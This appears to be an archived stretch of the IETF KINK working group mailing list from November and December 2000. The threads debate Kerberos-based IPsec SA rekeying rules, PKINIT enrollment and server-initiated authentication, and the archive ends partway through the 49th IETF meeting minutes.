compute the correct SA keys for the new SA until after it knows the peer has received its CREATE REPLY; it will be sending traffic into a black hole if the CREATE REPLY is lost. The responder should indeed receive on both old and new SA as (2) suggests, but perhaps it may be better to continue sending on the old send SA until the DELETE from the initiator arrives. Then if its CREATE REPLY never arrives, communication can at least continue until the SA key expires. (In a two-phase commit protocol, you don't commit until phase 2.) c. If you buy (b) above, then the initiator needs a retry timer for its CREATE (to try to ellicit a CREATE REPLY), and the responder needs a retry timer for CREATE REPLY (to ellicit a DELETE). I think (3) is correct or almost correct in the case it actually receives a CREATE REPLY: the initiator sends on the new SA, but receives on both the old and the new. It knows the responder knows the keys for the new SAs, because it received the CREATE REPLY. But it can't do away with the old SA until it receives the DELETE REPLY from the responder (or key expiry), because it doesn't know that the responder has comitted to use the new SAs. I do not think this is optional behavior; I think it is mandatory to make interoperability a possibility. d. What seems optional is the responder could send a DELETE REPLY and delete its old SAs if it receives traffic from the initiator on the new SA; this says conclusively that the peer received its CREATE REPLAY, because it is protecting its traffic under the new SPIs and keys associated with the new SA. Likewise, the initiator can finally delete its old SAs if it receives traffic on the new SA. This is conclusive evidence that the responder has received either its DELETE REPLY or noticed that the new SA is in use. This optional provision will allow progress if the DELETE/DELETE REPLY messages are all lost but the IPsec datagrams can still get through. It is optional because retries of the CREATE REPLY and DELETE messages should eventually cause convergence if the peers are still reachable to each other. e. We don't have any behavior for when an expected reply never arrives. Presumably we want to continue using the old SAs until their keys expire, but this is counter to the decisions discussed above about when to start sending on the new SA. So maybe there isn't a retry limit on DELETEs? Or maybe the reasoning of when to begin sending on the new SA is wrong? -- Jesse -----Original Message----- From: Michael Thomas [mailto:mat@cisco.com] Sent: Wednesday, November 22, 2000 9:22 AM To: Walker, Jesse Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' Subject: RE: alternative to user-to-user Kerberos in KINK OK, I'm obviously not up to speed on the rekeying wars and I don't remember the details of the jenkins draft. I'm also not sure what, in particular, was the hole that so many people drove through. Showing my ignorance, if it's only a matter in KINK of also describing how the selectors are processed when you have two identical ones, could we just say that you choose the newest one to send on? Does this actually even matter? Thus to rekey, the _rekeying_ initiator would CREATE a new SA on SPI Y, and DELETE the old SPI on X. During the transition, there are a few conditions: 0) The CREATE has not been sent; both initiator and responder MUST process on the old SPI (ie, it's the normal steady state of the previous SA). 1) The CREATE REPLY has not arrived; the initiator MUST consider only the old SPI for sending and receiving traffic. 2) The DELETE has not arrived; the responder MUST choose the new SPI if there are two flow specs which are identical for outgoing traffic and MUST accept incoming traffic on the old SPI. The initiator MUST send on the new SPI, but accept data on both SPI's. The following two are optional; the initiator MAY allow the old SPI to time out: 3) The DELETE REPLY has not arrived; same as (2) for the responder. For the initiator, it MUST accept traffic on either SPI, but only send on the new SPI. 4) The DELETE REPLY is received; same as (0). Am I out in left field here? Mike Walker, Jesse writes: > Mike, > > I think sidestepping the issue is a fundamental strategic mistake that will > render KINK far less relevant than it could otherwise be. > > Rightly or wrongly, my belief is that one of the justifications for KINK's > existence is a number of interoperability issues could never be resolved for > IKE. In particular, this issue was never fully addressed for the IKE/IPsec > interaction (it is usually referred to as the rekey issue). My recollection > is that by the time Tim Jenkins finally published a reasonable way to > resolve the problem, vendors had already implemented 8 conformant but > non-interoperable algorithms for accomplishing the coordination, and it > thereby became infeasible to get any consensus on how to move forward, since > no one was willing to give up their own approach. > > With KINK there is a clean slate, and if the issue is addressed up front, > there is a far, far better chance for genuine interoperability. It is not > hard to specify an algorithm--the implementation history of the IKE/IPsec > interaction gives us at least 8 to choose from! All the spec should do is > specify one and decree once and for all that that's how to do it when using > KINK. > > -- Jesse > > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 8:26 AM > To: Walker, Jesse > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: RE: alternative to user-to-user Kerberos in KINK > > > > Jesse, > > Correct me if I'm wrong, but this sure looks like > it's out of the scope of the keying protocol per > se. It seems like it would be better to have a BCP > or something with base IPsec which defines what > the expected behavior ought to be when you have > two SA's with the same flow spec. > > Mike > > Walker, Jesse writes: > > Mike, > > > > How, when, and if they choose one is precisely the issue. This was > something > > left unspecified in the interaction between IKE and IPsec, and as a > result > > vendors implemented conformant but non-interoperable solutions to this > > problem. > > > > -- Jesse > > > > -----Original Message----- > > From: Michael Thomas [mailto:mat@cisco.com] > > Sent: Tuesday, November 21, 2000 7:55 AM > > To: sommerfeld@east.sun.com > > Cc: Jan Vilhuber; Derek Atkins; Medvinsky, Sasha (SD-EX); 'Michael > > Thomas'; 'ietf-kink@vpnc.org' > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > > > I guess I don't quite grok the dilemma here. Initiator and > > responder only matter when setting up/tearing down the > > SA. Though perhaps not optimal, there shouldn't be a > > problem having two SA's with the same flow spec between > > two hosts -- they just needs to chose one. Assuming > > that either party can tear down an existing SA (which > > now that I think about it may not work in the current > > draft), you have the situation where either side can > > manage the SA's any way they see fit. > > > > What am I missing? > > > > Mike > > > > Bill Sommerfeld writes: > > > > It might also be worthwhile to do what IKE failed to do, which is to > > spell > > > > out re-keying behaviour. If we spell out that the original initiator > > needs to > > > > be the one to reinitiate a re-key, then problems won't arise. > > > > > > How can that possibly work in a non-VPN, non-connection-oriented > > > scenario? Does the initiator *always* recreate an expiring SA, just > > > in case the peer might want to send something in the future? > > > > > > Do you engage in some sort of layering violation, peeking into TCP to > > > see if there are still open connections or tracking connection state > > > in the IP layer? > > > > > > Or do you not care about long-lived connections, and let them drop if > > > the initiator doesn't have the session up? > > > > > > I'm not happy with any of these alternatives.. the responder must be > > > able to turn around and reinitiate back to the initiator.. > > > > > > - Bill > > > > > > > > > From owner-ietf-kink Mon Nov 27 12:25:22 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id MAA29032 for ietf-kink-bks; Mon, 27 Nov 2000 12:25:22 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA29027 for ; Mon, 27 Nov 2000 12:25:20 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id PAA08163; Mon, 27 Nov 2000 15:26:31 -0500 To: ietf-kink@vpnc.org Subject: KINK Draft Agenda From: Derek Atkins Date: 27 Nov 2000 15:26:31 -0500 Message-ID: Lines: 39 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is the draft agenda for the KINK WG meeting in San Diego, with times for everyone who has asked to speak. Let me know if there should be any changes. -derek Kerberized Internet Nogotiation of Keys Working Group (KINK) Chairs: Derek Atkins John Trostle San Diego Meeting Time: Tuesday 1300-1400 Draft Agenda Who When Derek Atkins - Telcordia Agenda Bashing :00-:03 Mike Thomas - Cisco KINK Requirements :05-:20 Mike Thoman - Cisco KINK Draft Protocol :20-:33 Sasha Medvinsky - Motorola server-initiated key management :35-:45 with PKINIT clients Tero Kivinen - SSH IKE-Over-KKMP :48-:59 -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 27 14:28:09 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id OAA05434 for ietf-kink-bks; Mon, 27 Nov 2000 14:28:09 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA05427 for ; Mon, 27 Nov 2000 14:28:08 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id OAA21586; Mon, 27 Nov 2000 14:28:57 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA09465; Mon, 27 Nov 2000 14:28:57 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14882.57385.532385.969881@thomasm-u1.cisco.com> Date: Mon, 27 Nov 2000 14:28:57 -0800 (PST) To: "Medvinsky, Sasha (SD-EX)" Cc: "'Michael Thomas'" , sommerfeld@east.sun.com, Jan Vilhuber , Derek Atkins , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD48D0@ntas0027.gi.com> References: <97DEDE66B3DCD11199D200805FA71BE202FD48D0@ntas0027.gi.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I'm all for begging, borrowing or stealing. I only scanned the draft over quickly -- is there a way for the KDC to specify the password? That seems like it would give the best password source since by definition the KDC's RNG better be good. Mike Medvinsky, Sasha (SD-EX) writes: > Mike, > > I don't think there is a need for an new enrollment protocol - it has been > defined already. An authenticated PKINIT client would get a service ticket > for an "Change Password Service" and then set its symmetric service key with > an existing protocol in > http://www.ietf.org/internet-drafts/draft-ietf-cat-kerberos-set-passwd-03.tx > t. > > Despite the title of the draft, it allows updates to service keys as well as > client passwords. Although the draft was originally intended for updates to > an existing key, there is no reason why it couldn't create a new key as > well. > > Sasha. > > > -----Original Message----- > > From: Michael Thomas [mailto:mat@cisco.com] > > Sent: Tuesday, November 21, 2000 7:37 AM > > To: sommerfeld@east.sun.com > > Cc: Jan Vilhuber; Medvinsky, Sasha (SD-EX); Derek Atkins; 'Michael > > Thomas'; 'ietf-kink@vpnc.org' > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > Bill Sommerfeld writes: > > > > Unless you want to do u-u, I guess, which complicates > > things. I'd prefer to > > > > have them enrolled. > > > > > > depends on how you measure complexity. i suspect a new enrollment > > > protocol would be more complex than just using u-u. > > > > We're a little bit afield of KINK here, but... > > > > I've been thinking that the enrollment _protocol_ > > doesn't need to be complicated at all: it could > > just be a normal PKINIT Kerberos AS-REQ, perhaps > > with a flag that tells the KDC to enroll the > > principal with the session key that it puts into > > the TGT. Perhaps it can even be done without an > > explicit flag. That would have the nice property > > that you'd also get symmetric key refresh basically > > for free, though it does force the KDC to deal with > > previous and next keys instead of just one key. > > > > That said, I think that the harder problem is > > going to come down to all of the implications of > > distributed database propogation on the KDC's. > > That, of course, is an application problem though. > > > > Mike > > > From owner-ietf-kink Mon Nov 27 14:57:16 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id OAA06457 for ietf-kink-bks; Mon, 27 Nov 2000 14:57:16 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA06453 for ; Mon, 27 Nov 2000 14:57:15 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JX1EPJCBB6EZV4DD@GI.COM> for ietf-kink@vpnc.org; Mon, 27 Nov 2000 14:57:57 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 27 Nov 2000 14:56:39 -0500 Content-return: allowed Date: Mon, 27 Nov 2000 18:00:05 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" Cc: sommerfeld@east.sun.com, Jan Vilhuber , Derek Atkins , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48E0@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: In that draft, it is always the client that specifies the new key or password. You can always recommend that the client uses the session key as a seed into its pseudo-random number generator. Sasha. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Monday, November 27, 2000 2:29 PM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Michael Thomas'; sommerfeld@east.sun.com; Jan Vilhuber; Derek > Atkins; 'ietf-kink@vpnc.org' > Subject: RE: alternative to user-to-user Kerberos in KINK > > > > I'm all for begging, borrowing or stealing. I only > scanned the draft over quickly -- is there a way > for the KDC to specify the password? That seems > like it would give the best password source since > by definition the KDC's RNG better be good. > > Mike > > Medvinsky, Sasha (SD-EX) writes: > > Mike, > > > > I don't think there is a need for an new enrollment > protocol - it has been > > defined already. An authenticated PKINIT client would get > a service ticket > > for an "Change Password Service" and then set its > symmetric service key with > > an existing protocol in > > http://www.ietf.org/internet-drafts/draft-ietf-cat-kerberos-set-passwd-03.tx > t. > > Despite the title of the draft, it allows updates to service keys as well as > client passwords. Although the draft was originally intended for updates to > an existing key, there is no reason why it couldn't create a new key as > well. > > Sasha. > > > -----Original Message----- > > From: Michael Thomas [mailto:mat@cisco.com] > > Sent: Tuesday, November 21, 2000 7:37 AM > > To: sommerfeld@east.sun.com > > Cc: Jan Vilhuber; Medvinsky, Sasha (SD-EX); Derek Atkins; 'Michael > > Thomas'; 'ietf-kink@vpnc.org' > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > Bill Sommerfeld writes: > > > > Unless you want to do u-u, I guess, which complicates > > things. I'd prefer to > > > > have them enrolled. > > > > > > depends on how you measure complexity. i suspect a new enrollment > > > protocol would be more complex than just using u-u. > > > > We're a little bit afield of KINK here, but... > > > > I've been thinking that the enrollment _protocol_ > > doesn't need to be complicated at all: it could > > just be a normal PKINIT Kerberos AS-REQ, perhaps > > with a flag that tells the KDC to enroll the > > principal with the session key that it puts into > > the TGT. Perhaps it can even be done without an > > explicit flag. That would have the nice property > > that you'd also get symmetric key refresh basically > > for free, though it does force the KDC to deal with > > previous and next keys instead of just one key. > > > > That said, I think that the harder problem is > > going to come down to all of the implications of > > distributed database propogation on the KDC's. > > That, of course, is an application problem though. > > > > Mike > > > From owner-ietf-kink Tue Nov 28 17:46:30 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id RAA20810 for ietf-kink-bks; Tue, 28 Nov 2000 17:46:30 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA20806 for ; Tue, 28 Nov 2000 17:46:29 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JX2YX3IGBIEZVTMV@GI.COM> for ietf-kink@vpnc.org; Tue, 28 Nov 2000 17:47:25 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 28 Nov 2000 17:46:11 -0500 Content-return: allowed Date: Tue, 28 Nov 2000 20:49:39 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" Cc: "'sommerfeld@east.sun.com'" , "'Derek Atkins'" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD48FE@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, The DoS attacks do not apply in the case where clients have a list of servers that they are talking to, where by client and server I mean Kerberos client and application server. In other words, a client will reject a WakeUp if the server name is not in its ACL. This works fine in PacketCable and so if it is not generally useful in KINK, we would leave it as a PacketCable-specific extension that addresses issue #2 you have listed below. Or maybe it could be a separate draft under KINK called something like "client-server profile and extensions to KINK". Sasha. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Tuesday, November 21, 2000 10:05 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'sommerfeld@east.sun.com'; 'Derek Atkins'; 'Michael Thomas'; > 'ietf-kink@vpnc.org' > Subject: RE: alternative to user-to-user Kerberos in KINK > > > Medvinsky, Sasha (SD-EX) writes: > > All I was saying is that although you can do peer-to-peer > authentication > > with Kerberos, you shouldn't require it for an > architecture where you don't > > have a peer-to-peer relationship. > > I think client/server and peer-peer is somewhat > misleading. Colloquially, client/server means that > clients initiate transactions, not servers. Peer > to peer means that no such distinction is drawn. > > I don't think that Kerberos, per se, has much to > say on that front because "client" machines can > host services and "server" machines can act as > clients, so it appears to _mostly_ be a distinction > without a difference. > > There are only two things that I know of which > requires me to qualify myself above: > > 1) clients may authenticate using PKINIT which > leads to the U-U/enrollment debate > 2) it may be a worthwhile optimization to allow > machines which subtend large numbers of users > (let's not call them clients, because that's > misleading) to have the abilty to require > the high fanout devices to get and maintain > tickets, thus avoiding duplication of effort > and storage. > > #1 seems like we may be headed toward consensus > that Matt's idea of enrollment may be a reasonable > idea to pursue for PKinit. U-U should also be a > fallback. The dispute seems mostly > over #2. I still feel really uneasy about the > inherent DoS attacks. I'm also not convinced that > the real-life use of KINK cannot avoid this dilemma > for the most part. > > Given the downside, I think that waiting to see > real implementation experience would be a more > prudent course of action. > > Mike > From owner-ietf-kink Sun Dec 3 14:42:47 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA06917 for ietf-kink-bks; Sun, 3 Dec 2000 14:42:47 -0800 (PST) Received: from smtp1.kolumbus.fi (smtp1.kolumbus.fi [193.229.0.36]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA06913 for ; Sun, 3 Dec 2000 14:42:45 -0800 (PST) Received: from jariws1 (a96d14hel.dial.kolumbus.fi [212.54.29.96]) by smtp1.kolumbus.fi (8.9.0/8.9.0) with SMTP id AAA18581; Mon, 4 Dec 2000 00:44:33 +0200 (EET) Message-ID: <005d01c05d7a$9dc1f020$8a1b6e0a@arenanet.fi> From: "Jari Arkko" To: , Cc: , Subject: Another DOI on top of ISAKMP/IKE -- draft-arkko-map-doi-00.txt Date: Mon, 4 Dec 2000 00:44:36 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello. We have produced a new Internet Draft, describing how ISAKMP (and IKE to a large extent, or even KINK) could be reused in the context of protecting one non-IP protocol in mobile networks. We would appreciate getting the group's opinion on this approach. Background: =========== The 3GPP (third generation mobile network standardization forum) is working on security for their MAP protocol. MAP is a central protocol in GSM networks, and continues to be used at least for a while also in 3G networks; perhaps eventually however completely replaced by protocols such as SIP and AAA. As MAP transports sensitive data used e.g. in the authentication of GSM phones, operators are being increasingly concerned that MAP messages are transported in the clear. Now, a security mechanism has been designed to encrypt and integrity protect MAP messages. MAP runs over SS7, ad the security mechanism inserts a header between the SS7 and MAP parts of packets. The network arrangement is typically such that servers from two operator networks (visiting and home) need to talk to each other. Both IP and SS7 connectivity exists. There is a large number of operators. However, the fact that we can encrypt MAP messages is not enough by itself. We also need to configure and create MAP SAs in a scalable manner, and we need to have lifetimes for the use of the SAs. For this we need key management. Our involvement: ================ We'been working on slight modification of the IPSEC DOI in order to use ISAKMP/IKE to negotiate the MAP security associations. It turns out that IKE phase 1 can be used as-is (alternatively KINK), and that phase 2 is modified only with respect to the meaning of the SA data. For details, see the I-D http://search.ietf.org/internet-drafts/draft-arkko-map-doi-00.txt There are also other possible alternatives to implement the same functionality. A completely new and MAP-specific key management protocol over IP has also been discussed but we'd rather reuse IKE since that is used also for other purposes, is quite complete, can be deployed fast, and we could reuse implementations. An alternative protocol could also be developed solely on top of SS7. And then to the issues on which we'd like your opinion: =========================================== 1) What is your technical opinion of the approach? 2) If we decide to go for this approach within the mobile networks, how should this work proceed in the IETF world? An informational RFC? Will these be allowed while some standards track IPsec/IKE modifications are on hold? What is the process for getting a new Informational RFC? 3) Should we discuss this in San Diego? 4) What about possible future assignments of numbers from the spaces defined by a new DOI? Jari Arkko From owner-ietf-kink Mon Dec 11 18:52:20 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id SAA12420 for ietf-kink-bks; Mon, 11 Dec 2000 18:52:20 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id SAA12416 for ; Mon, 11 Dec 2000 18:52:19 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id SAA22507; Mon, 11 Dec 2000 18:54:21 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id SAA13883; Mon, 11 Dec 2000 18:54:21 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14901.37725.199149.11272@thomasm-u1.cisco.com> Date: Mon, 11 Dec 2000 18:54:21 -0800 (PST) To: "Walker, Jesse" Cc: "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <10C8636AE359D4119118009027AE9987031A8FFE@FMSMSX34> References: <10C8636AE359D4119118009027AE9987031A8FFE@FMSMSX34> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I'm going to bring this up tomorrow. Hopefully, this will refresh everybody. Answers inline: Walker, Jesse writes: > Mike, > > You have proposed a very good start. Here are some comments. > > a. The document needs to specify a way to identify who is indeed the > rekeying initiator in cases of a tie. (IPXWAN totally orders IPX addresses > and then arbitrarily decrees the larger of the two wins; perhaps we employ > something similar.) I guess I don't understand what a tie means. The current draft says that the initiator is the only one that initiates a rekeying operation. Even if there is some clock skew where you could get into a situation where there is a collision, isn't the worst outcome two SA's for, essentially, the same traffic? If so, shouldn't there be two valid SA's, and that the old "conserative on what you send, liberal on what you receive" should apply? > > b. If KINK rekeying works like IKE rekeying, in that each peer has to > contribute nonces and the like as entropy for computing the new SA keys, it > is not evident that (2) below is correct. This is because the responder does > not know that the initiator can compute the correct SA keys for the new SA > until after it knows the peer has received its CREATE REPLY; it will be > sending traffic into a black hole if the CREATE REPLY is lost. The responder > should indeed receive on both old and new SA as (2) suggests, but perhaps it > may be better to continue sending on the old send SA until the DELETE from > the initiator arrives. Then if its CREATE REPLY never arrives, communication > can at least continue until the SA key expires. (In a two-phase commit > protocol, you don't commit until phase 2.) I believe that we can solve that by having the responder set the ACKREQ bit, which will cause the initiator to send an ACK. I definitely don't want it to be contingent on arrival of a DELETE because I think it's worthwhile to just allow the old SA to timeout. > > c. If you buy (b) above, then the initiator needs a retry timer for its > CREATE (to try to ellicit a CREATE REPLY), and the responder needs a retry > timer for CREATE REPLY (to ellicit a DELETE). s/DELETE/ACK and I agree. How about this text: In order to rekey a security association, a standard CREATE SA flow is initiated by the original initiator of the security association and it MUST set the ACKREQ to elicit a three way handshake. The old security association MAY be deleted after the new security association is created. In order to prevent ambiguity on which security association should be used, KINK mandates the following: o Receivers MUST be able to accept packets simultaneously on two security associations for otherwise identical flows. o If the CREATE REPLY has not arrived, the initiator MUST consider only the old SPI for sending and receiving traffic. o If the ACK has not arrived, the responder MUST choose the old SPI if there are two flow specs which are identical for outgoing traffic and MUST accept incoming traffic on the old SPI. The initiator MUST send on the new SPI, but accept data on both SPI's. The following only apply if the initator desires to DELETE the old security association: o If the DELETE REPLY has not arrived, the responder MUST choose the new SPI if there are two flow specs which are identical for outgoing traffic and MUST accept incoming traffic on the old SPI. For the initiator,it MUST accept traffic on either SPI, but only send on the new SPI. > e. We don't have any behavior for when an expected reply never arrives. I think I've covered the cases here. Can you find a hole? > Presumably we want to continue using the old SAs until their keys expire, Yes, unless there's proof the other side knows about the new SA. > but this is counter to the decisions discussed above about when to start > sending on the new SA. So maybe there isn't a retry limit on DELETEs? I've tweaked the above a bit; and heavens no on limitless retries :-) Mike From owner-ietf-kink Tue Dec 19 20:52:58 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id UAA13435 for ietf-kink-bks; Tue, 19 Dec 2000 20:52:58 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id UAA13431 for ; Tue, 19 Dec 2000 20:52:57 -0800 (PST) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id UAA00408; Tue, 19 Dec 2000 20:55:41 -0800 (PST) Message-Id: <4.1.20001219205428.00b9fb30@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 19 Dec 2000 20:58:05 -0800 To: ietf-kink@vpnc.org From: Jonathan Trostle Subject: 49th IETF KINK WG minutes Cc: jtrostle@cisco.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I have enclosed the KINK WG meeting minutes. Please send any comments in the next two days. Thanks, Jonathan KINK WG Meeting Minutes (49th IETF at San Diego, CA, Tuesday, Dec. 12) Reported by Lisa Dussealt and Jonathan Trostle INTRODUCTION The first meeting of the KINK WG took place on December 12th, Tuesday 1-2PM at the 49th IETF. Derek Atkins and Jonathan Trostle opened the meeting with the following list of agenda items: KINK Agenda: KINK Requirements Draft - Mike Thomas KINK Key Management Draft - Mike Thomas Server Initiated Authentication - Sasha Medvinsky Artificial Phase 1 SA Key Management Draft - Tero Kivinen The immediate goals of the WG are to move the requirements draft into WG last call in January, and to proceed with standardization of a key management specification. KINK REQUIREMENTS ----------------------------------- The WG chairs plan to put the requirements draft into WG last call in January. The current requirements draft specifies that both symmetric key and public key (pkinit) clients must be supported; it was suggested that initial authentication is outside the scope of the draft. Initial authentication is mentioned in the draft since pkinit clients will not generally have a symmetric key in the Kerberos database, and the draft needs to accomodate such clients acting as servers (by using user-user authentication). The latter is a required scenario for packetcable security. There was some discussion on the list of whether the protocol must be capable of rekeying, but this seems to be outside of the scope of the work. Currently this is in the requirements document. Paul Hoffman stated that he would discuss it on the list. Derek stated that although it's a good goal to have, it's not a hard requirement. The question was raised whether there ought to be a requirement to work with IPSP. Marcus Leech stated that it should be the other way around: IPSP ought to work with the policies. KINK is an effector of these policies. Paul Hoffman mentioned that there was also interest in using other authentication protocols to fake a phase 1 SA in the same manner that Tero Kivinen's draft uses Kerberos to create the artificial phase 1 SA. For now, a general mechanism to allow other authentication mechanisms to be plugged in is out of scope. An audience member asked whether there ought to be motivation in the draft as well as requirements. In particular, more details on why RFC 2409 (IKE) is not adequate to solve the set of scenarios being targetted by the WG are desired. Derek and Mike Thomas indicated that additional concrete motivational suggestions would be welcome. Mike also suggested that the design documents explain the reasoning behind their choices. Scott Fluhrer asked about requirements for peer discovery; Jonathan Trostle replied that if you don't know who your peer is then there would be issues with respect to who you are authenticating. Mike stated that the issue appeared to be orthogonal. KINK KEY MANAGEMENT DRAFT ---------------------------------------------------- Michael Thomas led this discussion. The goals of the draft are to use Kerberos (AP_REQ and AP_REP) messages to establish an IPSEC SA using two messages (or three messages in some cases). The protocol uses a command, reply, and ack messages exchange: Initiator -------------> Responder CMD Initiator <------------ Responder REPLY Initiator -------------> Responder ACK Several message types are defined (create, delete, etc.) and these messages use a sequence of ISAKMP defined payloads (currently these payloads are defined by value in the draft). For example, the ISAKMP SA, proposal, and transform payloads are used in the create message to create a new SA. The draft also defines new messages to be used to obtain a peer's Kerberos ticket granting ticket (TGT) and to send a TGT to the peer, so that user-user authentication can be used. Using user-user authentication handles the case where the client is a pkinit client and does not have a long term key in the Kerberos database. Key derivation for the IPSEC SA is defined in the draft. The key derivation can be accomplished in the two message exchange if the responder is willing to not contribute to the keys for its outbound SA. If not, the responder sets the ack bit in the reply and the initiator will use the responder nonce as additional input into its inbound SA keys. Both initiator and responder nonces are used as input into the initiator's outbound SA keys. Mike Thomas sent some mail to the list regarding what is needed in order to rekey a security association. Jesse Walker's contention was that the text in the draft was not explicit enough, so Mike took some of his input from his last mail, and the current text is the result. Mike stated that we need to create a new SA that describes the new SA, basically for the same flow, and set up some rules for which SA to use at which times. Mike solicits comments on the WG list. Mike wants to clarify whether the initiator or responder can kill off whatever SA they like. Mike would like more examination of the key derivation material in the draft. He indicated that more work is needed on the error messages too. Mike looked at Freeswan/Pluto and hopes to have an implementation by the next IETF (March 2001). SERVER INITIATED AUTHENTICATION ---------------------------------------------------------- Sasha led the discussion here. Sasha's main concern is in a packetcable scenario where there are many clients communicating with a single server. There is a standby server that 